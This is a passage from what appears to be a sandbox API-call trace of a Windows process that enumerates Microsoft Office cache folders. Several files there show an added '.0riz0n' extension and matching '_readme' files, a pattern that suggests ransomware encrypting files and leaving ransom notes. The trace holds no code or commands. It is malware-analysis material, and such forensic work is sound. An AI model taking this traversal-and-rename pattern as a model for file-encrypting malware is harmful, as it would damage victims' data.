hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45da9450, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x45da9450, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.027] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0141.027] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45dcf5b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x45dcf5b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.027] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45dcf5b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x45dcf5b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0141.027] GetLastError () returned 0x12 [0141.027] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983ae8) returned 1 [0141.027] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0141.028] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.028] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0141.028] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x488baa90, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x488baa90, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0141.028] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.028] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x488baa90, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x488baa90, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0141.031] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0141.032] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0141.032] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0141.032] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0141.032] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0141.032] NtClose (Handle=0x194) returned 0x0 [0141.032] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.032] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.032] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.032] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9839e0 [0141.032] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.032] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983ae8 [0141.032] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0141.034] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x488baa90, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x488baa90, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.035] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0141.035] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.035] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.035] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45df5710, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x45df5710, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.035] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.035] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.035] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.035] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.035] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0141.035] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.035] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.035] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4854eaf0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4854eaf0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.035] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.035] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.035] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.035] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.035] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0141.035] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.035] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.035] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4886e7d0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4886e7d0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.035] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.035] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.035] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.035] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0141.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x488baa90, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x488baa90, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.036] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.036] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x488baa90, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x488baa90, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0141.036] GetLastError () returned 0x12 [0141.036] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829bb8 [0141.036] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x488baa90, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x488baa90, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45df5710, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x45df5710, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4854eaf0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4854eaf0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4886e7d0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4886e7d0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x488baa90, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x488baa90, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x488baa90, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x488baa90, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0141.037] GetLastError () returned 0x12 [0141.037] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983ae8) returned 1 [0141.037] FindClose (in: hFindFile=0x829bb8 | out: hFindFile=0x829bb8) returned 1 [0141.037] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.037] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0141.037] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4987fc50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4987fc50, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0141.037] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.037] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4987fc50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4987fc50, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0141.234] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0141.234] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0141.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0141.234] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0141.234] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0141.234] NtClose (Handle=0x19c) returned 0x0 [0141.234] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0141.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9839e0 [0141.234] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983ae8 [0141.235] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829bb8 [0141.690] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4987fc50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4987fc50, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.699] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0141.699] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.699] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.699] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48b1c090, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x48b1c090, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.699] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.699] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.699] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.699] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.699] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml.0riz0n", 